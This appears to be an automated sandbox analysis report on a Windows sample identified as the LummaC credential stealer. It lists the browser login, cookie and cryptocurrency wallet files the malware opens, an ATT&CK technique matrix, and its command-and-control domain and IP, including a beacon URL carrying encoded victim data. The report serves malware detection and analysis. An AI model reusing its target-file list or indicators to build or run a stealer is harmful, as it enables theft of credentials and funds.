      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Ledger Live
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Binance
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\NWTVCDUMOB
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\ONBQCLYSPU
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\RAYHIWGKDI
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\UMMBDNEQBN
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comDirectory queried: C:\Users\user\Documents\UMMBDNEQBN

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts31
      Windows Management Instrumentation
      1
      DLL Side-Loading
      12
      Process Injection
      111
      Masquerading
      1
      OS Credential Dumping
      131
      Security Software Discovery
      Remote Services11
      Input Capture
      1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts1
      Command and Scripting Interpreter
      Boot or Logon Initialization Scripts1
      DLL Side-Loading
      141
      Virtualization/Sandbox Evasion
      11
      Input Capture
      3
      Process Discovery
      Remote Desktop Protocol21
      Data from Local System
      1
      Ingress Tool Transfer
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)12
      Process Injection
      Security Account Manager141
      Virtualization/Sandbox Evasion
      SMB/Windows Admin SharesData from Network Shared Drive3
      Non-Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
      DLL Side-Loading
      NTDS1
      Application Window Discovery
      Distributed Component Object ModelInput Capture14
      Application Layer Protocol
      Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
      Remote System Discovery
      SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials12
      File and Directory Discovery
      VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync44
      System Information Discovery
      Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1572252 Sample: nanophanotool.exe Startdate: 10/12/2024 Architecture: WINDOWS Score: 48 73 troubledinco.click 2->73 75 www.google.com 2->75 77 sBpfpTArYhs.sBpfpTArYhs 2->77 93 Suricata IDS alerts for network traffic 2->93 95 Yara detected LummaC Stealer 2->95 97 Sigma detected: Search for Antivirus process 2->97 11 nanophanotool.exe 179 2->11         started        signatures3 process4 file5 61 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 11->61 dropped 63 C:\Users\user\AppData\Local\...\System.dll, PE32 11->63 dropped 65 C:\Users\user\AppData\Local\...\vulkan-1.dll, PE32+ 11->65 dropped 67 14 other files (none is malicious) 11->67 dropped 101 Drops large PE files 11->101 15 NanoTool.exe 7 11->15         started        signatures6 process7 dnsIp8 81 www.google.com 142.250.181.68, 443, 49740 GOOGLEUS United States 15->81 83 159.100.18.192, 49747, 80 DE-FIRSTCOLOwwwfirst-colonetDE Germany 15->83 85 192.168.2.16 unknown unknown 15->85 59 C:\Users\user\AppData\...\RepublicChoir.exe, PE32 15->59 dropped 19 cmd.exe 15->19         started        21 powershell.exe 15->21         started        24 powershell.exe 15->24         started        26 24 other processes 15->26 file9 process10 dnsIp11 29 RepublicChoir.exe 19->29         started        31 conhost.exe 19->31         started        99 Loading BitLocker PowerShell Module 21->99 33 conhost.exe 21->33         started        35 conhost.exe 24->35         started        79 chrome.cloudflare-dns.com 162.159.61.3, 443, 49745, 49746 CLOUDFLARENETUS United States 26->79 37 conhost.exe 26->37         started        39 conhost.exe 26->39         started        41 chcp.com 1 26->41         started        43 19 other processes 26->43 signatures12 process13 process14 45 cmd.exe 29->45         started        file15 69 C:\Users\user\AppData\Local\Temp\...\Ford.com, PE32 45->69 dropped 103 Drops PE files with a suspicious file extension 45->103 49 Ford.com 45->49         started        53 conhost.exe 45->53         started        55 tasklist.exe 45->55         started        57 7 other processes 45->57 signatures16 process17 dnsIp18 71 troubledinco.click 172.67.163.8, 443, 49973, 49979 CLOUDFLARENETUS United States 49->71 87 Query firmware table information (likely to detect VMs) 49->87 89 Tries to harvest and steal browser information (history, passwords, etc) 49->89 91 Tries to steal Crypto Currency Wallets 49->91 signatures19

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      nanophanotool.exe5%ReversingLabs
      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\254268\Ford.com0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\d3dcompiler_47.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\ffmpeg.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libEGL.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libGLESv2.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vk_swiftshader.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vulkan-1.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\NanoTool.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\ffmpeg.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libEGL.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libGLESv2.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\resources\elevate.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vk_swiftshader.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vulkan-1.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\System.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Temp\nsr1988.tmp\nsis7z.dll0%ReversingLabs
      No Antivirus matches
      No Antivirus matches
      SourceDetectionScannerLabelLink
      http://mysearch.sweetpacks.com/?q=0%Avira URL Cloudsafe
      http://www.search.delta-search.com/home?q=0%Avira URL Cloudsafe
      https://crbug.com/dawn/10830%Avira URL Cloudsafe
      https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/search0%Avira URL Cloudsafe
      https://crbug.com/1338622.0%Avira URL Cloudsafe
      https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=0%Avira URL Cloudsafe
      https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupport0%Avira URL Cloudsafe
      http://www.search.delta-search.com/?q=0%Avira URL Cloudsafe
      http://159.100.18.192/login.php?event=init&id=bmV3Z3V5&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fX18yWjRHWV90cnVlXzEyODB4MTAyNF9XaW5kb3dzIDEwIFByb18xMjIgbWludXRlcyAoMC4wNCBob3VycylfQzpcVXNlcnNcam9uZXNfNTA2MDEzX2pvbmVzX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGpvbmVzXEFwcERhdGFcTG9jYWxcVGVtcF9KT05FUy1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwd1VWVWZBeE9haU5BYVk0MmJ5NmdORWpFS1xOYW5vVG9vbC5leGU=0%Avira URL Cloudsafe
      http://www1.delta-search.com/?q=0%Avira URL Cloudsafe
      https://nova.rambler.ru/suggest?v=3&query=0%Avira URL Cloudsafe
      NameIPActiveMaliciousAntivirus DetectionReputation
      chrome.cloudflare-dns.com
      162.159.61.3
      truefalse
        high
        www.google.com
        142.250.181.68
        truefalse
          high
          troubledinco.click
          172.67.163.8
          truetrue
            unknown
            sBpfpTArYhs.sBpfpTArYhs
            unknown
            unknownfalse
              unknown
              NameMaliciousAntivirus DetectionReputation
              http://159.100.18.192/login.php?event=init&id=bmV3Z3V5&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fX18yWjRHWV90cnVlXzEyODB4MTAyNF9XaW5kb3dzIDEwIFByb18xMjIgbWludXRlcyAoMC4wNCBob3VycylfQzpcVXNlcnNcam9uZXNfNTA2MDEzX2pvbmVzX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGpvbmVzXEFwcERhdGFcTG9jYWxcVGVtcF9KT05FUy1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwd1VWVWZBeE9haU5BYVk0MmJ5NmdORWpFS1xOYW5vVG9vbC5leGU=false
              • Avira URL Cloud: safe
              unknown
              NameSourceMaliciousAntivirus DetectionReputation
              https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                high
                https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                  high
                  https://fr.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                    high
                    https://search.seznam.sk/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                      high
                      https://crbug.com/newNanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                        high
                        https://hk.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                          high
                          https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                            high
                            https://crbug.com/dawn/402NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                              high
                              https://crbug.com/dawn/1393NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                high
                                http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                  high
                                  https://crbug.com/dawn/1276NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                    high
                                    https://crbug.com/1338622.NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                    • Avira URL Cloud: safe
                                    unknown
                                    https://crbug.com/1214923NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                      high
                                      https://suggestplugin.gmx.co.uk/s?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                        high
                                        https://ca.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                          high
